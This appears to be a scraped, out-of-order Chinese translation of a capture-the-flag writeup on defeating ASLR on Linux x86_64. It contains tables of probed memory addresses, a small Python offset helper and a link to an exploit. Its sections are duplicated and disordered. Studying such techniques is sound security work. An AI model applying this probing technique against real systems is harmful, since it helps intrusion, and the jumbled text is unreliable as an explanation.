<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
此外还有一个 100% 可靠的漏洞利用版本,见[这里](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py)。
## 5. 结论
希望你喜欢这篇 writeup,如果有不清楚的地方,请随时联系我 [@nick0ve](https://twitter.com/nick0ve) :)
| mem | 跨越 16TB 边界? |
|---|
| 0x7fb03b55e010 | 否 |
| 0x7fa03b55d010 | 否 |
| 0x7f903b55c010 | 否 |
| 0x7f803b55b010 | 否 |
| 0x7f703b55a010 | 否 |
| 0x7f603b559010 | 否 |
| 0x7f503b558010 | 否 |
| 0x7f403b557010 | 否 |
| 0x7f303b556010 | 否 |
| 0x7f203b555010 | 否 |
| 0x7f103b554010 | 否 |
| 0x7f003b553010 | 否 |
| 0x7ef03b552010 | 是 |
| 0x7ee03b551010 | 是 |
| 0x7ed03b550010 | 是 |
| 0x7ec03b54f010 | 是 |
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
| 地址 | 地址是否已映射? |
|---|
| 0x7fe3f0000000 | 否 |
| 0x7fe3e0000000 | 否 |
| 0x7fe3d0000000 | 是 |
| 0x7fe3df000000 | 否 |
| 0x7fe3de000000 | 否 |
| 0x7fe3dd000000 | 否 |
| 0x7fe3dc000000 | 否 |
| 0x7fe3db000000 | 否 |
| 0x7fe3da000000 | 否 |
| 0x7fe3d9000000 | 否 |
| 0x7fe3d8000000 | 否 |
| 0x7fe3d7000000 | 否 |
| 0x7fe3d6000000 | 是 |
| 0x7fe3d6f00000 | 否 |
| 0x7fe3d6e00000 | 否 |
| 0x7fe3d6d00000 | 否 |
| 0x7fe3d6c00000 | 否 |
| 0x7fe3d6b00000 | 否 |
| 0x7fe3d6a00000 | 是 |
| 0x7fe3d6af0000 | 否 |
| 0x7fe3d6ae0000 | 否 |
| 0x7fe3d6ad0000 | 否 |
| 0x7fe3d6ac0000 | 否 |
| 0x7fe3d6ab0000 | 否 |
| 0x7fe3d6aa0000 | 否 |
| 0x7fe3d6a90000 | 否 |
| 0x7fe3d6a80000 | 否 |
| 0x7fe3d6a70000 | 否 |
| 0x7fe3d6a60000 | 否 |
| 0x7fe3d6a50000 | 是 |
| 0x7fe3d6a5f000 | 否 |
| 0x7fe3d6a5e000 | 否 |
| 0x7fe3d6a5d000 | 否 |
| 0x7fe3d6a5c000 | 否 |
| 0x7fe3d6a5b000 | 否 |
| 0x7fe3d6a5a000 | 是 |